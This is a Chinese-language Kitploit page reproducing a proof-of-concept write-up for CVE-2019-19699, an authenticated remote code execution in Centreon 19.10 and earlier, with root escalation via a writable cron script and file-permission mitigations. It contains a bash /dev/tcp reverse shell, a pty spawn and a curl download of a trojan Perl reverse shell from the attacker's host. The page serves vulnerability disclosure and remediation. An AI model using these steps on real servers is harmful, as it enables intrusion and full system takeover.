Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2019-19699 — Centreon =<19.10 经过身份验证的远程代码执行(RCE) | Kitploit
工具/GitHubGitHub/spengesec/cve-2019-19699
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 经过身份验证的远程代码执行(RCE)

查看仓库
316年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2019-19699

Centreon <= 19.10

概念验证

  1. 认证远程代码执行 (CVE-2019-19699)
  2. 权限提升 (演练与缓解措施)

发现者:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)


认证远程代码执行:

首先以 Admin 用户身份登录 Centreon Web 面板。

登录后,导航到 配置 > 命令 > 杂项

继续点击 添加,如下所示。

现在我们创建一个 bash 反弹 shell 作为我们的杂项命令

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

并点击 保存

现在导航到 配置 > 轮询器,然后点击我们当前的 Central 轮询器

这将打开 修改轮询器配置 菜单

在这里可以向下滚动,设置一个 重启后命令

继续选择我们之前创建的 反弹 shell,并点击 保存 按钮

现在可以在本地机器上启动 Netcat 监听器

最后,在 配置 > 轮询器 菜单中点击 导出配置 按钮

  1. 在 轮询器 下拉框中选择我们的 Central 轮询器

  2. 取消选中 生成配置文件 和 运行监控引擎调试 (-v) 复选框

  3. 选中 重启监控引擎 和 生成后命令 复选框

  4. 在 方法 下拉框中选择 重启

点击 导出 后,轮询器将重新启动,从而执行我们之前配置的 重启后命令
这时我们的反弹 shell 监听器将获得连接

认证远程代码执行成功!

(这是对 CVE-2019-19699 的漏洞描述)

接下来,我们转向获取 Root 权限

我们将使用 TheCyberGeek 发现的 CVE-2019-16406 来完全攻陷 Centreon <= 19.10 服务器

首先,在我们当前的反弹 shell 终端中生成一个 TTY shell

python -c 'import pty; pty.spawn("/bin/sh")'

现在,通过 cat /etc/cron.d/* 来查看存在哪些 cron 任务

我们看到 centreon_autodisc.pl 是一个 Cron 任务

(已从 30 22 * * * root 改为 * * * * * root,用于 演示目的)

该任务以 Root 身份执行,让我们用 Perl 反弹 shell 替换 掉 centreon_autodisco.pl

我要使用的 Perl shell 可以 在这里 下载

下载反弹 shell,并按照网页上的说明编辑 ip 地址 和 端口 为你自己的

在本地执行 mv 将 perl-reverse-shell.pl 重命名为 centreon_autodisco.pl 文件

接下来,在你选择的端口上启动一个本地的 SimpleHTTPServer

这样,我们就可以通过 curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl 将现有的 centreon_autodisco.pl 替换为我们自己的 木马 Perl 反弹 shell

现在文件已被替换,剩下要做的就是在我们之前配置的端口上启动一个 Netcat 监听器,然后我们将以 Root 用户身份从服务器获得连接!

Root 系统访问成功!

接下来是我们就 权限提升 应如何 缓解 的说明!


19.10 中的当前设置:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

文件权限:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

针对
/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php 的缓解措施

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

如您所见,现在它由 Root 所有,组 apache 只能 读取和执行 它,centreon 只能 执行 它,因此它 不会影响功能。


示例:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: 权限被拒绝
但 apache 仍然可以 执行 它。


针对 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl 的缓解措施

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

如您所见,现在它由 Root 所有,组 apache 只能 读取和执行 它,centreon 只能 执行 它,因此它 不会影响功能。


示例:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: 权限被拒绝
但 apache 仍然可以 执行 它。


针对 /usr/lib/centreon/plugins/cwrapper_perl 的缓解措施

使用 sudo 命令定义每个用户需要执行的特定脚本。

让 root 拥有每个 perl 脚本,这样 用户无法更改或替换 脚本以进行权限提升。

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

现在用户再也无法更改或替换脚本了!


示例:

cat /etc/sudoers

...

## 允许 root 在任何地方运行任何命令

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---Sudoers 结束---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

用户仍然可以 执行 所需的脚本,并且 apache 或 centreon 无法更改脚本,从而完全消除了权限提升的安全威胁。

如果攻击者现在进入机器,完全控制机器将非常困难甚至不可能,除非发现更多威胁。

对于 Centreon 用户,我们发现的唯一权限提升途径是 perl 的 cwrapper,因此如果 centreon 用户执行了 post-restart 命令,而攻击者获得了 centreon 用户的 shell,那么几乎不会留下更多的攻击面。

感谢阅读

下载工具